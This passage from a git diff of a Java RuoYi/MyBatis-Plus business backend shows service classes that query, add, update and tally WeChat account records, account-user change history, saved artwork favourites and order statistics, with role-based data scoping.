TpWechat::getUid, bo.getUid()); + lqw.like(StringUtils.isNotBlank(bo.getUser()), TpWechat::getUser, bo.getUser()); + lqw.eq(StringUtils.isNotBlank(bo.getPhone()), TpWechat::getPhone, bo.getPhone()); + lqw.eq(bo.getUserTime() != null, TpWechat::getUserTime, bo.getUserTime()); + lqw.like(StringUtils.isNotBlank(bo.getName()), TpWechat::getName, bo.getName()); + lqw.like(StringUtils.isNotBlank(bo.getCardId()), TpWechat::getCardId, bo.getCardId()); + lqw.like(StringUtils.isNotBlank(bo.getBank()), TpWechat::getBank, bo.getBank()); + lqw.like(StringUtils.isNotBlank(bo.getNumber()), TpWechat::getNumber, bo.getNumber()); + lqw.eq(bo.getNum() != null, TpWechat::getNum, bo.getNum()); + lqw.eq(bo.getAllnum() != null, TpWechat::getAllnum, bo.getAllnum()); + lqw.eq(bo.getNowTime() != null, TpWechat::getNowTime, bo.getNowTime()); + lqw.eq(bo.getAddUser() != null, TpWechat::getAddUser, bo.getAddUser()); + lqw.like(StringUtils.isNotBlank(bo.getAddname()), TpWechat::getAddname, bo.getAddname()); + lqw.eq(bo.getIsDel() != null, TpWechat::getIsDel, bo.getIsDel()); + lqw.eq(bo.getAddTime() != null, TpWechat::getAddTime, bo.getAddTime()); + lqw.eq(bo.getNowPrice() != null, TpWechat::getNowPrice, bo.getNowPrice()); + return lqw; + } + + private QueryWrapper queryWrapper(TpWechatBo bo) { + QueryWrapper lqw = new QueryWrapper<>(); + LoginUser loginUser = LoginHelper.getLoginUser(); + if(!LoginHelper.isSuperAdmin()){ + if(loginUser.getIdentity() == 2){ + throw new ServiceException("您无权限查看客户信息"); + } else if (loginUser.getIdentity() == 3 || loginUser.getIdentity() == 1) { + int scope = getDataScope(); + if(scope == 2){ + List deptIds = getDeptIds(); + List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if (userIds != null && userIds.size() > 0){ + String idsStr = userIds.stream().map(f -> f.toString()).collect(Collectors.joining(",")); + lqw.inSql("uid", idsStr); + } + }else if(scope == 3){ + List deptIds = new ArrayList<>(); + deptIds.add(loginUser.getDeptId()); + List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if (userIds != null && userIds.size() > 0){ + String idsStr = userIds.stream().map(f -> f.toString()).collect(Collectors.joining(",")); + lqw.inSql("uid", idsStr); + } + }else if(scope == 4){ + List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(loginUser.getDeptId()); + List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if (userIds != null && userIds.size() > 0){ + String idsStr = userIds.stream().map(f -> f.toString()).collect(Collectors.joining(",")); + lqw.inSql("uid", idsStr); + } + }else if(scope == 5){ + bo.setUid(loginUser.getUserId()); + lqw.eq(bo.getUid() != null, "uid", bo.getUid()); + } + } + } + + if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ + List userIds = userMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 3)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + if (userIds != null && userIds.size() > 0){ + String idsStr = userIds.stream().map(f -> f.toString()).collect(Collectors.joining(",")); + lqw.inSql("uid", idsStr); + } + } + + lqw.like(StringUtils.isNotBlank(bo.getCode()), "code", bo.getCode()); + lqw.like(StringUtils.isNotBlank(bo.getNikename()), "nikename", bo.getNikename()); + lqw.like(StringUtils.isNotBlank(bo.getUser()), "user", bo.getUser()); +// lqw.eq(bo.getUid() != null, "uid", bo.getUid()); + lqw.eq(StringUtils.isNotBlank(bo.getPhone()), "phone", bo.getPhone()); + lqw.eq(bo.getUserTime() != null, "user_time", bo.getUserTime()); + lqw.like(StringUtils.isNotBlank(bo.getName()), "name", bo.getName()); + lqw.eq(bo.getNowTime() != null, "now_time", bo.getNowTime()); + lqw.eq(bo.getAddUser() != null, "add_user", bo.getAddUser()); + lqw.like(StringUtils.isNotBlank(bo.getCardId()), "card_id", bo.getCardId()); + lqw.like(StringUtils.isNotBlank(bo.getNumber()), "number", bo.getNumber()); + lqw.eq(bo.getIsDel() != null, "is_del", bo.getIsDel()); + lqw.eq(bo.getAddTime() != null, "add_time", bo.getAddTime()); + return lqw; + } + + /** + * 新增基本信息 + * + * @param bo 基本信息 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpWechatBo bo) { + boolean exist = baseMapper.exists(new LambdaQueryWrapper().eq(TpWechat::getCode, bo.getCode())); + if(exist){ + throw new ServiceException("唯一编号已存在,请修改后提交"); + } + LoginUser loginUser = LoginHelper.getLoginUser(); + if(loginUser.getIdentity() == 3){ + bo.setUid(loginUser.getUserId()); + bo.setUser(loginUser.getNickname()); + } + + bo.setAddUser(loginUser.getUserId()); + bo.setAddname(loginUser.getRealName()); + bo.setAllnum(bo.getNum()); + bo.setAddTime(new Date()); + bo.setNowTime(new Date()); + TpWechat add = MapstructUtils.convert(bo, TpWechat.class); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改基本信息 + * + * @param bo 基本信息 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpWechatBo bo) { + TpWechatVo wechatVo = baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpWechat::getCode,bo.getCode()).eq(TpWechat::getIsDel, 1)); + if (ObjectUtil.isNotEmpty(wechatVo) && !Objects.equals(bo.getId(), wechatVo.getId())) { + throw new ServiceException("唯一编号已存在,请修改后提交"); + } + TpWechat update = MapstructUtils.convert(bo, TpWechat.class); + + if(bo.getNum() != null && bo.getNum() != 0){ + bo.setAllnum(bo.getNum()); + } + return baseMapper.updateById(update) > 0; + } + + + /** + * 校验并批量删除基本信息信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + List list = baseMapper.selectByIds(ids); + list.stream().forEach(f ->f.setIsDel(2)); + return baseMapper.updateBatchById(list); + } + + @Override + public boolean updateUserByBo(TpWechatBo bo) { + LoginUser loginUser = LoginHelper.getLoginUser(); + + if(bo.getUid() != null){ + TpWechatVo wechatVo = baseMapper.selectVoById(bo.getId()); + TpWechatUser tpWechatUser = new TpWechatUser(); + tpWechatUser.setWid(wechatVo.getId()); + tpWechatUser.setUid(wechatVo.getUid()); + tpWechatUser.setUser(wechatVo.getUser()); + tpWechatUser.setNowPrice(wechatVo.getNowPrice()); + tpWechatUser.setNowTime(wechatVo.getNowTime()); + tpWechatUser.setEndTime(new Date()); + tpWechatUser.setAddTime(new Date()); + tpWechatUser.setAddUser(loginUser.getUserId()); + tpWechatUser.setAddname(loginUser.getRealName()); + wechatUserMapper.insert(tpWechatUser); + + SysUserVo sysUserVo = userMapper.selectVoById(bo.getUid()); + bo.setUid(sysUserVo.getUserId()); + bo.setUser(sysUserVo.getNickName()); + bo.setAddUser(loginUser.getUserId()); + bo.setAddname(loginUser.getRealName()); + bo.setNowTime(new Date()); + bo.setNowPrice(new BigDecimal(0)); + } + + TpWechat update = MapstructUtils.convert(bo, TpWechat.class); + return baseMapper.updateById(update) > 0; + } + + @Override + public WechatSumVo queryListSum(TpWechatBo bo) { + bo.setIsDel(1); + WechatSumVo wechatSumVo = new WechatSumVo(); + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + wechatSumVo.setWxSum(baseMapper.selectCount(lqw)); + + QueryWrapper wrapper = queryWrapper(bo); + //wrapper.select("sum(deal_num) as dealNum","sum(total_sum) as totalSum","sum(deal_order_num) as dealOrderNum","sum(allnum) as allnum"); + wrapper.select("id, `code`, nikename, uid, `user`, phone, user_time, `name`, num, allnum"); + List wechatVoList = baseMapper.selectVoList(wrapper); + wechatSumVo.setZhySum(wechatVoList.stream().mapToLong(f ->f.getAllnum()).sum()); + + List ids = wechatVoList.stream().map(f -> f.getId()).toList(); + + if(ids.size() > 0){ + List list = orderMapper.selectList(new LambdaQueryWrapper().in(TpOrder::getWid, ids)); + wechatSumVo.setCjdsSum(list.stream().count()); + wechatSumVo.setCjzjeSum(list.stream().map(f -> f.getPrice()).reduce(BigDecimal.ZERO, BigDecimal::add)); + + /*QueryWrapper lqwo = new QueryWrapper<>(); + lqwo.select("COUNT(DISTINCT kid) as count"); + String idsStr = ids.stream().map(f -> f.toString()).collect(Collectors.joining(",")); + lqwo.inSql("wid", idsStr); + Map result = orderMapper.selectMaps(lqwo).get(0); + Long cjkhSum = (Long) result.get("count"); + wechatSumVo.setCjkhSum(cjkhSum);*/ + + QueryWrapper lqwo = new QueryWrapper<>(); + lqwo.select("COUNT(DISTINCT kid) as count"); + lqwo.in("wid", ids); + Map result = orderMapper.selectMaps(lqwo).get(0); + Long cjkhSum = (Long) result.get("count"); + wechatSumVo.setCjkhSum(cjkhSum); + } + + /*LambdaQueryWrapper lqw1 = new LambdaQueryWrapper<>(); + lqw1.inSql(bo.getUid() != null,TpWechatNum::getWid,"SELECT id FROM tp_wechat as w WHERE w.is_del = 1 and w.uid = "+bo.getUid()); + lqw1.geSql(TpWechatNum::getAddTime,"CONCAT( YEAR ( CURDATE()), '-01-01' )"); + Long yearNum = wechatNumMapper.selectList(lqw1).stream().mapToLong(TpWechatNum::getNum).sum();*/ + + LambdaQueryWrapper lqw1 = new LambdaQueryWrapper<>(); + lqw1.in(TpWechatNum::getWid,ids); + lqw1.geSql(TpWechatNum::getAddTime,"CONCAT( YEAR ( CURRENT_DATE ()), '-01-01' )"); + Long yearNum = wechatNumMapper.selectList(lqw1).stream().mapToLong(TpWechatNum::getNum).sum(); + + /*LambdaQueryWrapper lqw2 = new LambdaQueryWrapper<>(); + lqw2.inSql(bo.getUid() != null,TpWechatNum::getWid,"SELECT id FROM tp_wechat as w WHERE w.is_del = 1 and w.uid = "+bo.getUid()); + lqw2.geSql(TpWechatNum::getAddTime,"CONCAT( YEAR ( CURRENT_DATE ()), '-', MONTH ( CURRENT_DATE ()), '-01' )"); + Long monthNum = wechatNumMapper.selectList(lqw2).stream().mapToLong(TpWechatNum::getNum).sum();*/ + + LambdaQueryWrapper lqw2 = new LambdaQueryWrapper<>(); + lqw2.in(TpWechatNum::getWid,ids); + lqw2.geSql(TpWechatNum::getAddTime,"CONCAT( YEAR ( CURRENT_DATE ()), '-', MONTH ( CURRENT_DATE ()), '-01' )"); + Long monthNum = wechatNumMapper.selectList(lqw2).stream().mapToLong(TpWechatNum::getNum).sum(); + + + /*LambdaQueryWrapper lqw3 = new LambdaQueryWrapper<>(); + lqw3.inSql(bo.getUid() != null,TpWechatNum::getWid,"SELECT id FROM tp_wechat as w WHERE w.is_del = 1 and w.uid = "+bo.getUid()); + lqw3.geSql(TpWechatNum::getAddTime,"( CURDATE() - INTERVAL 1 DAY )"); + Long dayNum = wechatNumMapper.selectList(lqw3).stream().mapToLong(TpWechatNum::getNum).sum();*/ + + LambdaQueryWrapper lqw3 = new LambdaQueryWrapper<>(); + lqw3.in(TpWechatNum::getWid,ids); + lqw3.geSql(TpWechatNum::getAddTime,"( CURDATE() - INTERVAL 1 DAY )"); + Long dayNum = wechatNumMapper.selectList(lqw3).stream().mapToLong(TpWechatNum::getNum).sum(); + + wechatSumVo.setBnxzSum(yearNum); + wechatSumVo.setByxzSum(monthNum); + wechatSumVo.setZrxzSum(dayNum); + // 检查 wechatVo 是否为 null + /*if (wechatVo != null) { + wechatSumVo.setCjkhSum(wechatVo.getDealNum()); + wechatSumVo.setCjdsSum(wechatVo.getDealOrderNum()); + wechatSumVo.setCjzjeSum(wechatVo.getTotalSum()); + wechatSumVo.setZhySum(wechatVo.getAllnum()); + } else { + // 如果 wechatVo 为 null,则设置默认值或抛出异常 + wechatSumVo.setCjkhSum(0L); + wechatSumVo.setCjdsSum(0L); + wechatSumVo.setCjzjeSum(new BigDecimal(0)); + wechatSumVo.setZhySum(0L); + }*/ + return wechatSumVo; + } + + /** + * 微信日统计 + * + * @param bo + * @param wxIds + * @return + */ + @Override + public List wxDayList(OrderRankingBo bo, List wxIds) { + return baseMapper.wxDayList(bo, wxIds); + } + + /** + * 微信月统计 + * + * @param bo + * @param wxIds + * @return + */ + @Override + public List wxMonthList(OrderRankingBo bo, List wxIds) { + return baseMapper.wxMonthList(bo, wxIds); + } + + /** + * @param userIds + * @return + */ + @Override + public List queryListByIds(List userIds) { + return baseMapper.selectVoList(new LambdaQueryWrapper().in(TpWechat::getUid, userIds).eq(TpWechat::getIsDel, 1)); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatUserServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatUserServiceImpl.java index 5014dd9..96448b8 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatUserServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWechatUserServiceImpl.java @@ -1,137 +1,137 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpWechatUser; -import org.dromara.work.domain.bo.TpWechatUserBo; -import org.dromara.work.domain.vo.TpWechatUserVo; -import org.dromara.work.mapper.TpWechatUserMapper; -import org.dromara.work.service.ITpWechatUserService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 微信使用人修改历史Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpWechatUserServiceImpl implements ITpWechatUserService { - - private final TpWechatUserMapper baseMapper; - - /** - * 查询微信使用人修改历史 - * - * @param id 主键 - * @return 微信使用人修改历史 - */ - @Override - public TpWechatUserVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询微信使用人修改历史列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 微信使用人修改历史分页列表 - */ - @Override - public TableDataInfo queryPageList(TpWechatUserBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的微信使用人修改历史列表 - * - * @param bo 查询条件 - * @return 微信使用人修改历史列表 - */ - @Override - public List queryList(TpWechatUserBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpWechatUserBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getWid() != null, TpWechatUser::getWid, bo.getWid()); - lqw.eq(bo.getUid() != null, TpWechatUser::getUid, bo.getUid()); - lqw.eq(StringUtils.isNotBlank(bo.getUser()), TpWechatUser::getUser, bo.getUser()); - lqw.eq(bo.getNowTime() != null, TpWechatUser::getNowTime, bo.getNowTime()); - lqw.eq(bo.getNowPrice() != null, TpWechatUser::getNowPrice, bo.getNowPrice()); - lqw.eq(bo.getEndTime() != null, TpWechatUser::getEndTime, bo.getEndTime()); - lqw.eq(bo.getAddUser() != null, TpWechatUser::getAddUser, bo.getAddUser()); - lqw.like(StringUtils.isNotBlank(bo.getAddname()), TpWechatUser::getAddname, bo.getAddname()); - lqw.eq(bo.getAddTime() != null, TpWechatUser::getAddTime, bo.getAddTime()); - return lqw; - } - - /** - * 新增微信使用人修改历史 - * - * @param bo 微信使用人修改历史 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpWechatUserBo bo) { - TpWechatUser add = MapstructUtils.convert(bo, TpWechatUser.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改微信使用人修改历史 - * - * @param bo 微信使用人修改历史 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpWechatUserBo bo) { - TpWechatUser update = MapstructUtils.convert(bo, TpWechatUser.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpWechatUser entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除微信使用人修改历史信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpWechatUser; +import org.dromara.work.domain.bo.TpWechatUserBo; +import org.dromara.work.domain.vo.TpWechatUserVo; +import org.dromara.work.mapper.TpWechatUserMapper; +import org.dromara.work.service.ITpWechatUserService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 微信使用人修改历史Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpWechatUserServiceImpl implements ITpWechatUserService { + + private final TpWechatUserMapper baseMapper; + + /** + * 查询微信使用人修改历史 + * + * @param id 主键 + * @return 微信使用人修改历史 + */ + @Override + public TpWechatUserVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询微信使用人修改历史列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 微信使用人修改历史分页列表 + */ + @Override + public TableDataInfo queryPageList(TpWechatUserBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的微信使用人修改历史列表 + * + * @param bo 查询条件 + * @return 微信使用人修改历史列表 + */ + @Override + public List queryList(TpWechatUserBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpWechatUserBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(bo.getWid() != null, TpWechatUser::getWid, bo.getWid()); + lqw.eq(bo.getUid() != null, TpWechatUser::getUid, bo.getUid()); + lqw.eq(StringUtils.isNotBlank(bo.getUser()), TpWechatUser::getUser, bo.getUser()); + lqw.eq(bo.getNowTime() != null, TpWechatUser::getNowTime, bo.getNowTime()); + lqw.eq(bo.getNowPrice() != null, TpWechatUser::getNowPrice, bo.getNowPrice()); + lqw.eq(bo.getEndTime() != null, TpWechatUser::getEndTime, bo.getEndTime()); + lqw.eq(bo.getAddUser() != null, TpWechatUser::getAddUser, bo.getAddUser()); + lqw.like(StringUtils.isNotBlank(bo.getAddname()), TpWechatUser::getAddname, bo.getAddname()); + lqw.eq(bo.getAddTime() != null, TpWechatUser::getAddTime, bo.getAddTime()); + return lqw; + } + + /** + * 新增微信使用人修改历史 + * + * @param bo 微信使用人修改历史 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpWechatUserBo bo) { + TpWechatUser add = MapstructUtils.convert(bo, TpWechatUser.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改微信使用人修改历史 + * + * @param bo 微信使用人修改历史 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpWechatUserBo bo) { + TpWechatUser update = MapstructUtils.convert(bo, TpWechatUser.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpWechatUser entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除微信使用人修改历史信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWorksServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWorksServiceImpl.java index cc67546..95e3855 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWorksServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpWorksServiceImpl.java @@ -1,148 +1,148 @@ -package org.dromara.work.service.impl; - -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import lombok.RequiredArgsConstructor; -import org.dromara.system.mapper.SysPictureMapper; -import org.springframework.stereotype.Service; -import org.dromara.work.domain.bo.TpWorksBo; -import org.dromara.work.domain.vo.TpWorksVo; -import org.dromara.work.domain.TpWorks; -import org.dromara.work.mapper.TpWorksMapper; -import org.dromara.work.service.ITpWorksService; - -import java.util.List; -import java.util.Map; -import java.util.Collection; - -/** - * 作品收藏Service业务层处理 - * - * @author Maosw - * @date 2025-07-23 - */ -@RequiredArgsConstructor -@Service -public class TpWorksServiceImpl implements ITpWorksService { - - private final TpWorksMapper baseMapper; - - private final SysPictureMapper sysPictureMapper; - - /** - * 查询作品收藏 - * - * @param id 主键 - * @return 作品收藏 - */ - @Override - public TpWorksVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询作品收藏列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 作品收藏分页列表 - */ - @Override - public TableDataInfo queryPageList(TpWorksBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - - //作品对象 - result.getRecords().forEach(r -> r.setPicture(sysPictureMapper.selectById(r.getPictureId()))); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的作品收藏列表 - * - * @param bo 查询条件 - * @return 作品收藏列表 - */ - @Override - public List queryList(TpWorksBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpWorksBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.orderByAsc(TpWorks::getId); - lqw.eq(bo.getUserId() != null, TpWorks::getUserId, bo.getUserId()); - lqw.eq(bo.getPictureId() != null, TpWorks::getPictureId, bo.getPictureId()); - return lqw; - } - - /** - * 新增作品收藏 - * - * @param bo 作品收藏 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpWorksBo bo) { - TpWorks add = MapstructUtils.convert(bo, TpWorks.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改作品收藏 - * - * @param bo 作品收藏 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpWorksBo bo) { - TpWorks update = MapstructUtils.convert(bo, TpWorks.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpWorks entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除作品收藏信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } - - /** - * 根据条件查询作品收藏 - * - * @param bo 查询条件 - * @return 作品收藏 - */ - @Override - public TpWorksVo queryByTpWorks(TpWorksBo bo) { - return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpWorks::getUserId, bo.getUserId()).eq(TpWorks::getPictureId, bo.getPictureId())); - } -} +package org.dromara.work.service.impl; + +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import lombok.RequiredArgsConstructor; +import org.dromara.system.mapper.SysPictureMapper; +import org.springframework.stereotype.Service; +import org.dromara.work.domain.bo.TpWorksBo; +import org.dromara.work.domain.vo.TpWorksVo; +import org.dromara.work.domain.TpWorks; +import org.dromara.work.mapper.TpWorksMapper; +import org.dromara.work.service.ITpWorksService; + +import java.util.List; +import java.util.Map; +import java.util.Collection; + +/** + * 作品收藏Service业务层处理 + * + * @author Maosw + * @date 2025-07-23 + */ +@RequiredArgsConstructor +@Service +public class TpWorksServiceImpl implements ITpWorksService { + + private final TpWorksMapper baseMapper; + + private final SysPictureMapper sysPictureMapper; + + /** + * 查询作品收藏 + * + * @param id 主键 + * @return 作品收藏 + */ + @Override + public TpWorksVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询作品收藏列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 作品收藏分页列表 + */ + @Override + public TableDataInfo queryPageList(TpWorksBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + + //作品对象 + result.getRecords().forEach(r -> r.setPicture(sysPictureMapper.selectById(r.getPictureId()))); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的作品收藏列表 + * + * @param bo 查询条件 + * @return 作品收藏列表 + */ + @Override + public List queryList(TpWorksBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpWorksBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.orderByAsc(TpWorks::getId); + lqw.eq(bo.getUserId() != null, TpWorks::getUserId, bo.getUserId()); + lqw.eq(bo.getPictureId() != null, TpWorks::getPictureId, bo.getPictureId()); + return lqw; + } + + /** + * 新增作品收藏 + * + * @param bo 作品收藏 + * @return 是否新增成功 + */ + @Override + public Boolean insertByBo(TpWorksBo bo) { + TpWorks add = MapstructUtils.convert(bo, TpWorks.class); + validEntityBeforeSave(add); + boolean flag = baseMapper.insert(add) > 0; + if (flag) { + bo.setId(add.getId()); + } + return flag; + } + + /** + * 修改作品收藏 + * + * @param bo 作品收藏 + * @return 是否修改成功 + */ + @Override + public Boolean updateByBo(TpWorksBo bo) { + TpWorks update = MapstructUtils.convert(bo, TpWorks.class); + validEntityBeforeSave(update); + return baseMapper.updateById(update) > 0; + } + + /** + * 保存前的数据校验 + */ + private void validEntityBeforeSave(TpWorks entity){ + //TODO 做一些数据校验,如唯一约束 + } + + /** + * 校验并批量删除作品收藏信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + @Override + public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { + if(isValid){ + //TODO 做一些业务上的校验,判断是否需要校验 + } + return baseMapper.deleteByIds(ids) > 0; + } + + /** + * 根据条件查询作品收藏 + * + * @param bo 查询条件 + * @return 作品收藏 + */ + @Override + public TpWorksVo queryByTpWorks(TpWorksBo bo) { + return baseMapper.selectVoOne(new LambdaQueryWrapper().eq(TpWorks::getUserId, bo.getUserId()).eq(TpWorks::getPictureId, bo.getPictureId())); + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpYearServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpYearServiceImpl.java index 24d009d..654c005 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpYearServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpYearServiceImpl.java @@ -1,236 +1,236 @@ -package org.dromara.work.service.impl; - -import cn.hutool.core.date.DateTime; -import cn.hutool.core.util.ObjectUtil; -import 